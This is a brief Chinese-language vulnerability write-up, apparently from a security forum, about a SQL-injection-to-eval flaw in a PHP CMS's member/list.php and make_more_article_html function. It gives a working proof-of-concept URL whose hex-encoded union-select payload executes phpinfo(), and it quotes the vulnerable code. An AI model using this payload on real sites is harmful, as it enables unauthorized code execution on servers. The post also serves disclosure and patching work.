刚搜了一下貌似和以前一个漏洞是一个问题。有点鸡肋，需要条件：
1.网站配置为：文章生成真静态
2.允许注册会员

给出v6的测试代码，提交后执行phpinfo()，v7原理一样，只是数据库字段数不一样。

member/list.php?step=2&Type=delete&aidDB[]=-1)%20union%20select%201,2,3,4,5,6,7,8,9,10,1,2,3,4,15,6,7,8,9,10,1,2,3,4,25,6,7,8,9,10,1,2,3,4,35,6,7,8,9,10,1,2,3,4,45,6,7,8,9,10,1,2,3,4,0x7B247B706870696E666F28297D7D,6,7%23

0x01 漏洞在make_more_article_html这个函数：
function make_more_article_html($comebackurl='/',$type='',$aidDB=''){
global $db,$pre,$webdb,$webdb,$showHtml_Type;
if($webdb[NewsMakeHtml]!=1||$aidDB=='')  // $webdb[NewsMakeHtml] 真静态
{ return ;}
...
$query = $db->query("SELECT A.*,B.bencandy_html,B.list_html,D.aid FROM {$pre}article_db D LEFT JOIN  {$pre}article A ON D.aid=A.aid LEFT JOIN {$pre}sort B ON A.fid=B.fid WHERE D.aid IN ($string)");
while($rs = $db->fetch_array($query)){
...
$filename_b=$rs[bencandy_html];
...
eval("\$showurl=\"$filename_b\";");
...

0x02 在 \member\list.php中调用了该漏洞函数：
if($step==2){
...
if($Type=='delete'){
  make_more_article_html("$FROMURL","del_0",$aidDB);
